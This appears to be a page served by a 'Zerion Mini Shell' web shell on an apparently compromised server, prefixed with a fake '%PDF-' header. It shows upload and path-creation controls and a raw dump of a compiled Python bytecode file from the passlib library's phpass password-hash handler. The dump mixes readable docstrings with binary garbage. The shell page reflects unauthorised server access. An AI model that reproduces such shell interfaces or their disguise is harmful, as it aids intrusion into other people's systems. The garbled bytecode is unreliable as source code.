%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/passlib/handlers/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/passlib/handlers/__pycache__/phpass.cpython-39.opt-1.pyc

a

f�Wc��@s|dZddlmZddlZe�e�ZddlmZddl	m
Z
mZmZddl
mmZdgZGdd�dejejejej�ZdS)z�passlib.handlers.phpass - PHPass Portable Crypt

phppass located - http://www.openwall.com/phpass/
algorithm described - http://www.openwall.com/articles/PHP-Users-Passwords

phpass context - blowfish, bsdi_crypt, phpass
�)�md5N)�h64)�u�
uascii_to_str�unicode�phpassc@s�eZdZdZdZdZejZdZ	Z
ejZdZdZ
dZdZed�Zed�ed	�fZed
�ed�ed�ed	�iZedd
��Zdd�Zdd�ZdS)ra�This class implements the PHPass Portable Hash, and follows the :ref:`password-hash-api`.

    It supports a fixed-length salt, and a variable number of rounds.

    The :meth:`~passlib.ifc.PasswordHash.using` method accepts the following optional keywords:

    :type salt: str
    :param salt:
        Optional salt string.
        If not specified, one will be autogenerated (this is recommended).
        If specified, it must be 8 characters, drawn from the regexp range ``[./0-9A-Za-z]``.

    :type rounds: int
    :param rounds:
        Optional number of rounds to use.
        Defaults to 19, must be between 7 and 30, inclusive.
        This value is logarithmic, the actual number of iterations used will be :samp:`2**{rounds}`.

    :type ident: str
    :param ident:
        phpBB3 uses ``H`` instead of ``P`` for its identifier,
        this may be set to ``H`` in order to generate phpBB3 compatible hashes.
        it defaults to ``P``.

    :type relaxed: bool
    :param relaxed:
        By default, providing an invalid value for one of the other
        keywords will result in a :exc:`ValueError`. If ``relaxed=True``,
        and the error can be corrected, a :exc:`~passlib.exc.PasslibHashWarning`
        will be issued instead. Correctable errors include ``rounds``
        that are too small or too large, and ``salt`` strings that are too long.

        .. versionadded:: 1.6
    )�salt�rounds�ident����Zlog2z$P$z$H$�P�HcCsR|�|�\}}|d|dd�|dd�}}}||t�|�d��||pLdd�S)Nr��	�ascii)r
r	r�checksum)Z_parse_identrZdecode_int6�encode)�cls�hashr
�datar	rZchk�r�;/usr/lib/python3.9/site-packages/passlib/handlers/phpass.py�from_string`s$�zphpass.from_stringcCs8td�|jt�|j��d�|j|jp*td�f}t|�S)Nz%s%s%s%sr�)	rr
rZencode_int6r	�decoderrr)�selfrrrr�	to_stringks
�zphpass.to_stringcCslt|t�r|�d�}d|j>}t|j�d�|���}d}||kr\t||���}|d7}q:t�|��	d�S)Nzutf-8rrr)
�
isinstancerrr	rr�digestrZencode_bytesr)rZsecretZreal_rounds�result�rrrr�_calc_checksumus



zphpass._calc_checksumN)�__name__�
__module__�__qualname__�__doc__�nameZsetting_kwds�uhZHASH64_CHARSZchecksum_charsZ
min_salt_sizeZ
max_salt_sizeZ
salt_charsZdefault_roundsZ
min_roundsZ
max_roundsZrounds_costrZ
default_identZident_valuesZ
ident_aliases�classmethodrrr$rrrrrs"'


)r(ZhashlibrZloggingZ	getLoggerr%�logZpasslib.utils.binaryrZpasslib.utils.compatrrrZpasslib.utils.handlersZutils�handlersr*�__all__Z
HasManyIdentsZ	HasRoundsZHasSaltZGenericHandlerrrrrr�<module>s�

Zerion Mini Shell 1.0